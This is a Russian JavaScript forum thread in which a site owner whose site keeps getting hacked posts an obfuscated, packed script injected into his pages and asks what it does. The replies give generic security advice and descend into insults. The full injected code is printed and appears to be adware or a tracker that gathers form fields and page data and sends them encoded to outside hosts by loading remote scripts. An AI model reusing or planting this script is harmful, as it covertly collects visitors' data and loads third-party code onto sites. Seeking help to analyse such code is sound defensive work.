Javascript-форум (https://javascript.ru/forum/)
-   Оффтопик (https://javascript.ru/forum/offtopic/)
-   -   ОПАСНОСТЬ! Вирус! (https://javascript.ru/forum/offtopic/30689-opasnost-virus.html)

Alex2000 12.08.2012 16:05

ОПАСНОСТЬ! Вирус!
 
Здравствуйте. Я давно пользуюсь вашим сайтом, но в плотную никогда не занимался javascript (хотя и надо было). У меня возникли проблемы на моём сайте, связанные с безопасностью. Вот уже в течение 5 месяцев, сайт регулярно взламывают. Раз в месяц яндекс, в выдачи, делает такую пометку "Сайт может угрожать безопасности вашего компьютера или мобильного устройства". Каждый раз я, по мере сил, чищу и латаю дыры своей cms (всё что нас не убивает, нас делает сильней), но вот сейчас решил обратиться к вам за помощью, потому что, то что я вижу, я не понимаю!

Чистая страница содержит javascript, от куда он берётся и как попадает на сайт, я уже не говорю, что этот скрипт живёт, по моему, на всех страницах сайтов, с разными доменными именами и я не понимаю, что он делает? Хочу найти дырку. Если вы сможете мне чем-то помочь, я буду вам очень признателен.

Вот, собственно, что я имею, от куда он подгружается, а самое главное, как это возможно, меня и интересует.


/* suggestme - enable 6*/
predictad_myLoc='';
if (document.location != null) {
    try {
        predictad_myLoc = String(document.location);
    } catch (e) { }
}
if ((typeof predictad_ac_off)=='undefined') {
	eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('31=1d;4i=17;2s=17;2D=4;2i=4h;5 1Y=1a 1k();5 2x=(4g.4f.1f(\'4e\')>0);5 2a=1d;5 38=7;5 2u=1d;29=1d;1p=0;28=T;4b=1a 1k();1C=1a 1k();1S=1a 1k();1E=1a 1k();5 34=1;5 1O=2;5 1g=1;5 1u=1d;5 2g=0;4a=17;U 2E(f){5 a=f.2J;f.2J=U(){8(28==T)28=W;1W(1);8(a&&(Y a==\'U\'))a()}}5 48=U(){U 2t(a){8(!a)X 1d;5 b=a.2h(/[;&]/);5 c=1a 47();1c(5 i=0;i<b.Z;i++){5 d=b[i].2h(\'=\');8(!d||d.Z!=2)1B;5 e=2T(d[0]);5 f=2T(d[1]);f=f.1i(/\\+/g,\' \');c[e]=f}X c}5 s=/(2q|45|44|43)[a-40-9.2w-]*\\.19(\\?.*)+$/;5 t=V.1b(\'1L\');5 u=t.Z-1;1c(5 v=0;v<t.Z;v++){8(t[v].14.3Z(s)){u=v;3Y}}5 w=t[u];5 y=w.14.1i(/^[^\\?]+(\\?)*/,\'\');5 z=2t(y);5 A=\'3X\';5 B=z[\'3W\']||A;5 C=z[\'3U\']||\'\';5 D=z[\'3S\']||\'\';8(Y 1v=="11"){1v=B}1w=\'\';8(C!=\'\'){1w+=C}1x=\'\';8(D!=\'\'){1x+=D}U 1y(a){8(\'3R\'!=Y a)X\'\';a=a.1i(/\\r\\n/g,"\\n");5 b="";1c(5 n=0;n<a.Z;n++){5 c=a.21(n);8(\'T\'!=Y c){8(c<1Z){b+=1t.1l(c)}18 8((c>3Q)&&(c<3N)){b+=1t.1l((c>>6)|3e);b+=1t.1l((c&1Q)|1Z)}18{b+=1t.1l((c>>12)|3L);b+=1t.1l(((c>>6)&1Q)|1Z);b+=1t.1l((c&1Q)|1Z)}}}X b}5 E=U(a){5 b="3I-2w*";5 c="",1P,1G,1H,2j,2k,1M,1I,i=0;3H{1P=a.21(i++);1G=a.21(i++);1H=a.21(i++);2j=1P>>2;2k=((1P&3)<<4)|(1G>>4);1M=((1G&15)<<2)|(1H>>6);1I=1H&1Q;8(32(1G)){1M=1I=33}18 8(32(1H)){1I=33}c=c+b.1K(2j)+b.1K(2k)+b.1K(1M)+b.1K(1I)}36(i<a.Z);X c};2b=1d;U 3b(){5 a=V.1b(\'3D\');8(a.Z>0){5 b=\'\';5 c=\'@\';5 d=\'@\';5 e=\'@\';5 f=\'@\';5 g=\'@\';1c(5 i=0;i<a.Z;i++){8(a[i]==T)1B;5 h=a[i].13(\'2p\');5 j=a[i].13(\'1N\');5 k=a[i].13(\'1F\');5 l=a[i].3C;5 m=a[i].13(\'3A\');5 n=a[i].13(\'1R\');5 o=a[i].13(\'2n\');8(k==T||k==\'\')k=\'1e\';8(k==\'3z\')k=\'1e\';5 p=k.27();8(p!=\'1e\'){1B}8(j==T){j=\'3x\'+i;a[i].10(\'1N\',j)}8(h==T)h=j;8(n==T)n=\'\';8(o==T)o=\'\';2b=17;5 q=h.27();5 r=j.27();8(p==\'1e\'){8(q.1f("2K")>=0||q.1f("2L")>=0||q.1f("2M")>=0||r.1f("2K")>=0||r.1f("2L")>=0||r.1f("2M")>=0){1B}1p++;2E(a[i]);8(31){8(o==\'\')a[i].10(\'2n\',\'2N\')}18{8(o==\'\'&&(j=="q"||h=="q")){29=17;a[i].10(\'2n\',\'2N\')}}b+=j+\'|\';8(h==j){h=\'\'}c+=h+\'|\';d+=l+\'|\';e+=m+\'|\';f+=n+\'|\';g+=o+\'|\'}}X b+c+d+e+f+g}X\'\'}U 2O(){5 a=V.1b(\'3w\');8(a.Z>0){5 b=\'\';5 c=\'@\';5 d=\'@\';5 e=\'@\';5 f=\'@\';1c(5 i=0;i<a.Z;i++){8(a[i]==T)1B;5 g=a[i].13(\'2p\');5 h=a[i].13(\'1N\');5 j=a[i].13(\'3v\');5 k=a[i].13(\'3s\');5 l=a[i].13(\'3r\');8(g==T)g=\'\';8(h==T)h=\'\';8(j==T)j=\'3q\';8(k==T)k=\'\';8(l==T){l=\'\'}18{8(Y l==\'U\'){l=l.2d();l=l.1i(\'\\n\',\'\');l=l.1i(\'\\r\',\'\');l=l.1i(\'U 3p(){\',\'\');l=l.3n(0,l.Z-1);l=l.1i(/^\\s+|\\s+$/g,"")}}b+=h+\'|\';c+=g+\'|\';d+=j+\'|\';e+=k+\'|\';f+=l+\'|\'}X b+c+d+e+f+e}X\'\'}U 2S(){5 a=\'\';5 b=V.3m(\'3l\');a+=((b!=T)?\'1\':\'\');a+=\'|\'+((Y 1r.2U!="11")?2U:\'\');a+=\'|\'+((Y 1r.2V!="11")?2V:\'\');a+=\'|\'+((Y 1r.2W!="11")?2W:\'\');X a}8(Y 1A==\'11\'){5 F=3;5 G=z[\'3j\']||\'\';F+="3h"+G;5 H=\'^\';5 I=3b();5 J=2O();5 K=2S();5 L=1d;8(I==\'@@@@@\'||I==\'\'){L=17;1p=-1}5 M=\'\';24{M=(("3g:"==V.25.3M)?V.25.2d():"")}26(39){}8(M!=\'\'){3a=\'3f\';1p=-1}5 N=V.3d;8(!N||N==""){N=""}1j=(E(1y(F+H+1v+H+I+H+V.1R+H+1w+H+1x+H+J+H+K+H+M+H+N)));8(1j.Z>37){1j=(E(1y(F+H+1v+H+I+H+V.1R+H+1w+H+1x+H+\'\'+H+K+H+\'\'+H+N)))}8(1j.Z>37){1j=(E(1y(F+H+1v+H+I+H+V.1R+H+1w+H+1x+H+\'\'+H+K+H+\'\'+H+\'\')))}8(2s&&1p<=2D)1W(0);8(29)1W(0);8(2u&&L&&M==\'\'&&(Y(35)==\'11\')){35=17;1z=V.3d;8(!1z||1z==""){1z="/"}8(V.3i){2Y=1a 3k();5 x=1X.2e();5 O=x*3o;5 P=\'1\';5 Q=\'1\';5 R=\'1J://3t.3u.1V\';8(V.25!=T){24{R=V.25.2d()}26(39){}}5 S=\'12\';1q=1X.2e();1q=1q;8(1q<0.3y){S=\'16\'}1U=1a 1k();1U[0]="1J://2z"+S+".2q.1V:3B/?"+E(1y(2y(R)+"|"+2y(1z)+"|"+Q+"|"+P));5 i=0;1c(i=0;i<1U.Z;i++){2Y.14=1U[i]}}}}}();U 2c(a){5 r=a.2h(\'.\');X 2o(r[0])*3E+2o(r[1])*3F+2o(r[2])}U 1W(a){8(1p<=0)X;8(Y(1A)!=\'11\')X;8(1r.3G==1r){8(Y 30!=\'11\'){24{2R=\'1.4.0\';8(2c(30.3J)<2c(2R)){X}}26(e){}}8(Y 1A==\'11\'){8(2b){3K=\'2z\';1S=1a 1k();1c(i=0;i<38;i++){5 b=i+1;1S[i]=\'1J://2P\'+b+\'.2I.1V/2G/?\'+1j}1E[0]=\'1J://2P.3O.2I.1V/2G/?\'+1j;8(Y(3a)==\'11\'&&Y(3P)==\'11\'&&Y(1A)==\'11\'){1D(1S,\'19\',\'1n\',2i);1A=17}}}}}U 3c(a){8(a.Z==1Y.Z)X a[0];5 b=\'\';5 c=20;5 d=\'\';5 e=0;36(b==\'\'&&e<c){1q=1X.3T(1X.2e()*a.Z);d=a[1q];8(1Y[d]==T){b=d;1Y[d]=\'1\'}e++}8(e==c){b=a[0]}X b}U 1h(a){8(1C[a.14]!=T){3V(1C[a.14]);1C[a.14]=T}}U 2Z(a){2X(a,"19");8(1g<1O){1g++;1D(1E,\'19\',\'1n\',2i)}}U 2X(a,b){24{5 c=(b=="19")?"1L":(b=="1s")?"2m":"2v";5 d=(b=="19")?"14":(b=="1s")?"2f":"2v";5 f=V.1b(c);1c(5 i=f.Z;i>=0;i--){8(f[i]&&f[i].13(d)!=T&&f[i].13(d).1f(a)!=-1){f[i].41.42(f[i])}}}26(e){}}U 1D(a,b,c,d){2l=3c(a);8(1g>1O)X;5 e;8(d==T)d=0;8(b=="19"){5 f=V.23("1L");f.10("1F","1e/2r");f.10("1N",\'46\'+34);8(d!=T&&d>0){f.1o=U(){8(!1u&&(!W.1T||W.1T===\'49\'||(W.1T===\'2C\'&&W.2F!=T))){1h(W);1u=17;2g++;W.1o=T;W.1m==T}18 8(W.1T===\'2C\'&&W.2F==T){8(Y 4c!=\'11\'||Y 4d!=\'11\'){1u=17;1h(W);X}1h(W);W.1o=T;W.1m==T;1h(W);1g++;1D(1E,b,c,d);X}};f.1m=U(){W.1o=T;W.1m==T;1u=17;2g++;1h(W)};f.2H=U(){W.1o=T;W.1m==T;1h(W);1g++;1D(1E,b,c,d);X}}f.10("14",2l);e=f}18 8(b=="1s"){5 f=V.23("2m");f.10("2B","2A");f.10("1F","1e/1s");f.10("2f",2l)}8(Y f!="11"){8(c=="1n"){V.1b("1n")[0].22(f)}18{V.1b("2Q")[0].22(f)}}8(d!=T&&d>0&&b=="19"&&1g<1O){8((2a&&2x)||(!2a)){1C[e.14]=1r.4j(\'2Z("\'+e.14+\'");\',d)}}}U 4k(a,b,c){8(b=="19"){5 d=V.23("1L");d.10("1F","1e/2r");d.10("1m","");d.10("1o","");d.10("2H","");d.10("14",a)}18 8(b=="1s"){5 d=V.23("2m");d.10("2B","2A");d.10("1F","1e/1s");d.10("2f",a)}8(Y d!="11"){8(c=="1n"){V.1b("1n")[0].22(d)}18{V.1b("2Q")[0].22(d)}}}',62,269,'|||||var|||if|||||||||||||||||||||||||||||||||||||||||||||||null|function|document|this|return|typeof|length|setAttribute|undefined||getAttribute|src|||true|else|js|new|getElementsByTagName|for|false|text|indexOf|predictad_detect_current_attempt|predictad_clearJSTimeout|replace|predictad_input_data|Array|fromCharCode|onload|head|onreadystatechange|predictad_inputs_count|rand_no|window|css|String|predictad_detect_complete|predictad_working_site|predictad_iid|predictad_tid|predictad_utf8encode|_ur|suggestmeyes_loaded|continue|predictad_append_scripts_timeout|predictad_retry_loadjscssfile|predictad_onErrorDetectingURLs|type|chr2|chr3|enc4|http|charAt|script|enc3|id|predictad_detect_retry_attempts|chr1|63|title|predictad_possibleDetectionsURLs|readyState|image_url|com|predictad_engage|Math|predictad_already_tried_detect_url|128||charCodeAt|appendChild|createElement|try|location|catch|toLowerCase|predictad_caller_obj|predictad_hasInputQ|predictad_onlyOnIE|predictad_activate_detection|convertPVersionString|toString|random|href|predictad_detect_complete_num|split|predictad_detection_script_timeout|enc1|enc2|filename|link|autocomplete|parseInt|name|predictad|javascript|predictad_auto_inj_when_less_then_min_input|PscriptParseQuery|widdit_log_no_box|none|_|predictad_isIE|escape|srchdetect|stylesheet|rel|loaded|predictad_auto_inj_then_min_input|predictad_warpOnKeyDown|nextSibling|analyze|onerror|widdit|onkeydown|email|username|password|off|predictad_detect_frm|loading|body|REQ_PROTOTYPE|predictad_detect_cse|unescape|googleSearchIframeName|googleSearchFrameWidth|googleSearchDomain|predictad_removejscssfile|preload_image_object|predictad_removeScriptSinceTimeout|Prototype|predictad_ac_off|isNaN|64|predictad_src_id|predictad_prepare|while|2000|widdit_lb_servers_cnt|ex|predictad_js|predictad_detect_src|predictad_pick_detect_url|referrer|192|ssl|https|__|images|sd|Image|googleSearchUnitIframe|getElementById|substring|1000000000000000000|anonymous|get|onsubmit|action|www|nodocumentlocation|method|form|acpro_inp|50|search|value|81|className|input|100000|1000|top|do|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|Version|predictad_dtc_subdomain|224|protocol|2048|retry|predictad_ver|127|string|tid|floor|iid|clearTimeout|si|4831|break|match|z0|parentNode|removeChild|enable|acpro|suggestme|detect|Object|predictDetectF|complete|predictad_has_addon|predictad_append_scripts|predictor|predictad_gb|MSIE|userAgent|navigator|20000|predictad_srch_detect_lb|setTimeout|predictad_loadjscssfile'.split('|'),0,{}))
}

devote 12.08.2012 16:21

чистите регулярно компы от вирусов, после чистки меняйте пароли.. и проблем не будет.. Сам он туда не залезет, либо в вашем компе сидит вирус и ползает на фтп (используя сохраненные пароли в фтп клиентах) изменяя данные. Либо в вашем сайте есть дырочка, например самая распространенная, это закачка файлов на сервер без проверки содержимого и расширения файла ( одна из самых банальных и часто встречающихся ошибок при разработке )

B@rmaley.e><e 12.08.2012 16:29

Или где-нибудь глубоко сидит бекдор. Лучше всего нанять специалиста по безопасности, чтобы он провёл аудит.

Gozar 12.08.2012 16:48

Alex2000,
Тебе наверное скоро Илья Кантор выдаст предупреждение, чтобы ты не постил вирусы на форум. Меня по крайней мере уже просил.

По поводу вирусов:

Не сохранять пароли фтп в тотал командере и других местах компа.
Проверять данные пришедшие от пользователя на сайте(маниакально проверять).
Поменять хостера, если дешевый.
Если используются сторонние модули в сайте, разобрать их на части или снести нафиг.
Просканировать домашний комп на вирусы.
Пойти в гугл и найти, что это за вирус.

Ну и прочие действия. Т.к. кмс твоя самописная, то возможно ты сам виноват, в том, что не умеешь защищать свои сайты.

Gozar 12.08.2012 16:49

И будь любезен, отредактируй сообщение до размеров окна.

Alex2000 12.08.2012 17:32

Цитата:

Сообщение от Gozar
Alex2000,
Тебе наверное скоро Илья Кантор выдаст предупреждение, чтобы ты не постил вирусы на форум. Меня по крайней мере уже просил.

По поводу вирусов:

Не сохранять пароли фтп в тотал командере и других местах компа.
Проверять данные пришедшие от пользователя на сайте(маниакально проверять).
Поменять хостера, если дешевый.
Если используются сторонние модули в сайте, разобрать их на части или снести нафиг.
Просканировать домашний комп на вирусы.
Пойти в гугл и найти, что это за вирус.

Ну и прочие действия. Т.к. кмс твоя самописная, то возможно ты сам виноват, в том, что не умеешь защищать свои сайты.


Как, я понял из всех сообщений, ты меня больше всего ждал, что б поглумится.
Ну во-первых, это первое моё сообщение и не имея кода как можно обсуждать проблему? Если ты модер, то правь страницы форума сам, переносы строк, делаются программно, если этого нет, то это косяк системы, а не пользователя!
Во-вторых я не просил учить меня мерам безопасности, я могу сам, кого хочешь научить, меня интересует вирус, сам код, что он делает и как работает, написал же не очень знаком с javascript?


Конкретно по твоим советам.
Тоталом не пользуюсь.
Данные проверяются шаблонами регулярных выражений - это достаточно маниакально?
8000 р - в год это дёшево?
Движок самописный.
Просканировать домашний комп на вирусы - ну а это уж вообще для кого совет? Я же писал регулярно в течении длительного срока, появляются вирусы на сайте. Дописываю дополнительно для "умных", смена паролей, зачистки компов антивирусами, проверка форм маниакально и просеивание google - это уже давно пройденый этап. Я даже не думал, что нужно эти прописные истины здесь перечислять. Я был более высокого мнения о профессионализме людей пишущих здесь, а главное читающих. Ну и если честно, я обращался именно к создателю этого сайта, потому что человек создавший подобный сайт, может иметь достаточный опыт и знания в подобных делах. Хотя конечно безопасность web приложений это не то же самое что и javascript, но язык php, я знаю достаточно, что бы о нём не спрашивать.

И больше всего мне понравилось твоё резюме "САМ ВИНОВАТ" - это классическая отговорка людей, которые далеки от сути проблемы, но в то же время желают принять в ней активное участие, тем самым польстить себе, что вроде они в теме и знают о чём говорят.

Я обратился за помощью, а не исследование проводить, кто виноват. Если твой сайт когда нибудь доживёт до того момента, что его станут взламывать, поверь мне - ты достиг определённых высот в это области. Ни кому не нужны сайты с низкой посещаемость.

Короче, просьба большая для всех кто не в теме, не создавать волну понапрасну. Всякую хрень для начинающих можете вешать этим самым начинающим, нужны конкретные ответы или вопросы для поиска ответа. Этот вирус может прийти и к вам в любой момент. И не надо тешать себя мыслю, что у вас всё защищено - это просто невозможно, отвечаю, 100% защиты не существует. Вся защита - это лишь вопрос времени и ресурсов.

Deff 12.08.2012 17:47

Alex2000,
Cкрыть контент можно так
[HTML hide][/HTML]

Alex2000 С иного компа или через анонимайзер - данный скрипт наблюдается ?

devote 12.08.2012 18:16

Alex2000,
немного грубовато не замечаешь?

Цитата:

Сообщение от Alex2000
Ну и если честно, я обращался именно к создателю этого сайта, потому что человек создавший подобный сайт, может иметь достаточный опыт и знания в подобных делах.

то есть создатели других сайтов по вашему не в теме?

Цитата:

Сообщение от Alex2000
Если твой сайт когда нибудь доживёт до того момента, что его станут взламывать, поверь мне - ты достиг определённых высот в это области. Ни кому не нужны сайты с низкой посещаемость.

ломали не однократно, причина? Описана выше, проверять нужно всех и вся... если вас ломают, это лишь говорит о дырах, а дыры бывают в разных местах.

Цитата:

Сообщение от Alex2000
Короче, просьба большая для всех кто не в теме, не создавать волну понапрасну.

Ты думаешь ты единственный за всю истории человечества кого взломали?

Цитата:

Сообщение от Alex2000
Всякую хрень для начинающих можете вешать этим самым начинающим,

вот мы и вешаем ее начинающим. Прости но кто ты? Я тебя не знаю, и для меня ты начинающий.. Раз такие банальные вопросы задаешь на форуме, умный в большинстве случаев решает вопросы сам. А уж тем более такие о которых ты говоришь.

Цитата:

Сообщение от Alex2000
Этот вирус может прийти и к вам в любой момент. И не надо тешать себя мыслю, что у вас всё защищено - это просто невозможно, отвечаю, 100% защиты не существует. Вся защита - это лишь вопрос времени и ресурсов.

Тут кто-то доказывает обратное? Видели мы эти вирусы и не однократно, и вопросы не задавали, а решали их с той же легкостью с какой они появлялись. А появляются они еще раз повторю, в большинстве случаев по тем причинам что описаны выше.

Возможно вы прогер и крутой, но вы нихрена в администрировании не понимаете, а почему я так считаю? да все очень просто, лишь потому что задаете глупые вопросы. И если будете хамить, вам вряд ли кто-то в чем то поможет. Думаю сами должны понимать, на хамство, хамство и получите.. Если вы взрослый человек конечно.

B@rmaley.e><e 12.08.2012 18:25

Цитата:

Сообщение от Alex2000
Во-вторых я не просил учить меня мерам безопасности, я могу сам, кого хочешь научить

Ну-ну, оно видно.

Расшифрованный JS код здесь. Так как его там слишком много, мне лень его детально анализировать. Но на первый взгляд, тут лишь объявление всякого полезного функционала вроде дампа значений всех полей и форм страницы.

Gozar 12.08.2012 18:38

Цитата:

Сообщение от Alex2000
Как, я понял из всех сообщений, ты меня больше всего ждал, что б поглумится.

Нет.

Цитата:

Сообщение от Alex2000
Данные проверяются шаблонами регулярных выражений - это достаточно маниакально?

Нет.

Цитата:

Сообщение от Alex2000
ты модер

Нет.

Цитата:

Сообщение от Alex2000
от куда он берётся и как попадает на сайт, я уже не говорю, что этот скрипт живёт, по моему, на всех страницах сайтов, с разными доменными именами и я не понимаю, что он делает? Хочу найти дырку. Если вы сможете мне чем-то помочь, я буду вам очень признателен.

Цитата:

Сообщение от Alex2000
я не просил учить меня мерам безопасности, я могу сам

И чё это было?

Цитата:

Сообщение от Alex2000
Если твой сайт когда нибудь доживёт до того момента

Я тебе решил помочь, потому что иногда помогаю оленям, сайты которых ломают. У меня не один сайт и cms у меня самописная, но её ни разу не сломали, хотя я иногда наблюдаю как пытаются.

Поправь сообщение олень. Читать не удобно.

Извини за оленя, ты начал хамить первым. Я хотел помочь, не более. Остальное ты выдумал.


Часовой пояс GMT +3, время: 20:15.